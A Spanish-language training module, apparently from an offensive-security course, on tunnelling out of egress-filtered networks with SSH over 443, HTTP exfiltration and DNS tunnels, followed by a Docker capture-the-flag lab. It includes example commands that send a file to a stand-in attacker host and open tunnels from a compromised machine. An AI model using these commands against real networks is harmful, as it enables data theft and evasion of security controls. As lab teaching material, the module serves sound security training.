Túneles a través de inspección profunda (DPI)
En el módulo anterior tunelizabas a través de un pivote. Ahora el obstáculo es distinto: el host que controlas sí tiene salida a Internet, pero un cortafuegos de salida (o un DPI) decide qué puede salir y qué no. Tu SSH no llega a ninguna parte. El reto es hacer pasar tu tráfico por el estrecho hueco que el filtro sí permite.
- Entender el filtrado de salida (egress) y la inspección profunda de paquetes (DPI).
- Descubrir qué protocolos y puertos deja salir un filtro.
- Tunelizar tráfico por los canales permitidos: SSH sobre 443, exfiltración por HTTP, túnel DNS.
- Reenviar puertos y montar un SOCKS a través de un único canal permitido.
- Distinguir el filtrado por puerto del DPI real y saber qué exige cada uno.
1. El problema: filtrado de salida
Casi toda la seguridad se piensa hacia dentro (qué entra), pero las redes serias también controlan qué sale. Un filtrado de egress típico solo permite salir por los puertos que la organización necesita: 80 y 443 (web), 53 (DNS), poco más. Todo lo demás se descarta. El objetivo es doble: impedir que el malware se comunique con su servidor de control, y frenar la exfiltración de datos.
Para ti, como atacante que ya está dentro, eso significa que tu shell inversa por el puerto 4444 no conecta, y tu SSH de salida tampoco. Pero si el filtro deja salir por 443, tienes un hueco: solo hay que meter tu tráfico por ahí.
2. Reconocer el hueco
Lo primero es averiguar qué deja salir el filtro. Desde el host comprometido, se prueba la conectividad de salida a distintos puertos de una máquina que controlas:
$ nc -zv TU_IP 22 # ¿sale el 22? (normalmente NO)
nc -zv TU_IP 443 # ¿sale el 443? (normalmente SÍ)
nc -zv TU_IP 53 # ¿y el DNS?El resultado te dice tu canal. Casi siempre el 443 está abierto (nadie bloquea la web segura), y ese es el hueco por el que va a pasar todo lo demás.
3. SSH sobre un puerto permitido
La técnica más simple: si el 443 sale, pon tu servidor SSH a escuchar en el 443 en lugar del 22. Desde la víctima, un ssh -p 443 viaja por un puerto que el filtro permite, y ya tienes shell y, con ella, todos los reenvíos del módulo 15:
$ # en tu máquina: configura sshd para escuchar en 443
# en la víctima:
ssh -p 443 leo@TU_IPUna vez establecido ese SSH, funcionan -L (reenvío local), -D (SOCKS) y todo lo demás, por dentro del canal 443. Has convertido un único puerto permitido en acceso a todo.
$ ssh -p 443 -L 18081:127.0.0.1:8081 leo@TU_IP -N # reenvío local sobre 443
ssh -p 443 -D 1080 leo@TU_IP -N # SOCKS sobre 443
curl --socks5 127.0.0.1:1080 http://interno:8082/4. Exfiltración y túnel por HTTP
Si ni siquiera el 443 admite una conexión arbitraria pero sí pasa HTTP "de verdad", los datos se sacan dentro de peticiones web normales: un POST con la información en el cuerpo, o codificada en la URL. Es más lento y de un solo sentido, pero pasa por donde pasa la navegación normal. La versión avanzada es un túnel bidireccional sobre HTTP/WebSocket, que es justo lo que hace chisel: su tráfico parece HTTP, así que atraviesa filtros (y muchos DPI) que solo esperan ver web.
$ # exfiltración simple por HTTP
curl -X POST --data-binary @secreto.zip http://TU_IP/exfil5. Túnel DNS
El DNS es casi siempre el último puerto que se bloquea: si lo cortas, la red deja de resolver nombres y todo se rompe. Por eso es un canal encubierto clásico. La idea: los datos se codifican en los nombres consultados (la petición datos-codificados.tunel.atacante.com llega a tu servidor DNS autoritativo) y las respuestas viajan en registros TXT. Herramientas como iodine o dnscat2 montan un túnel completo sobre DNS. Es lento y ruidoso, pero funciona donde no funciona nada más.
$ # consultar un registro TXT (versión mínima del concepto)
dig TXT flag.tunnel.lab @TU_IP
# túnel DNS completo: dnscat2 / iodine6. Filtrado por puerto frente a DPI real
Aquí está el matiz clave del módulo. Hay dos niveles de control de salida:
| Cortafuegos de puertos | DPI (inspección profunda) | |
|---|---|---|
| Qué mira | El puerto de destino (80, 443, 53...) | El contenido del tráfico, no solo el puerto |
| Engañarlo | Basta usar un puerto permitido (SSH sobre 443) | No basta: detecta que por el 443 va SSH y no TLS, y lo corta |
| Qué hace falta | Cambiar de puerto | Hacer que el tráfico parezca el protocolo permitido |
Contra un DPI real no vale con acertar el puerto: hay que mimetizar el protocolo. Ahí entran chisel (viaja como HTTP/WebSocket auténtico), los túneles DNS de verdad (dnscat2, iodine, que hablan DNS correcto), o envolver el tráfico en TLS legítimo (SSH dentro de una conexión TLS con stunnel, o herramientas tipo cloak). El principio es siempre el mismo: no discutas con el filtro, disfrázate de lo que sí deja pasar.
7. Metodología
- Comprueba qué puertos de salida están permitidos (barrido a una IP que controles).
- Elige el canal: 443 para un túnel cómodo, 53 si solo pasa DNS, 80 para exfiltración.
- Monta el túnel por ese canal (SSH sobre 443, chisel, dnscat2).
- Si hay DPI, no solo el puerto: asegúrate de que el tráfico parece el protocolo esperado.
- A partir de ahí, aplica el pivoting del módulo 15 por dentro del túnel.
- chisel, dnscat2 e iodine (GitHub): túneles sobre HTTP/WebSocket y DNS que mimetizan el protocolo permitido.
- stunnel para envolver tráfico en TLS legítimo frente a un DPI.
- La guía de Ligolo-ng de Ghost Academy (ver "Herramientas relacionadas") y la chuleta de tunneling de HackTricks.
Guías y laboratorios ya publicados en Ghost Academy sobre las herramientas de este módulo:
Descomprime, lee el LEEME.md y lanza startlab.sh. Trabajas desde la víctima (docker exec -it go16-victim bash), cuya salida solo permite 80/443/53. Alcanza las 8 flags del atacante (10.16.0.5) tunelizando por esos puertos: HTTP directo, exfiltración por POST, túnel DNS, y SSH sobre 443 con reenvío local y SOCKS.
¿Atascado o ya terminado? La solución paso a paso muestra cada canal. Úsala cuando lo hayas intentado.
Autoevaluación
- ¿Para qué sirve un filtrado de salida y qué dos amenazas frena?
- ¿Cómo averiguas qué puertos de salida permite un filtro desde el host comprometido?
- ¿Por qué poner el sshd en el 443 evade un cortafuegos de puertos, y por qué NO evade un DPI real?
- ¿Por qué el DNS es un canal encubierto tan socorrido?
- Explica la diferencia entre filtrado por puerto y DPI, y qué exige engañar a cada uno.
- Una vez tienes SSH sobre 443, ¿qué del módulo 15 puedes hacer por dentro de ese canal?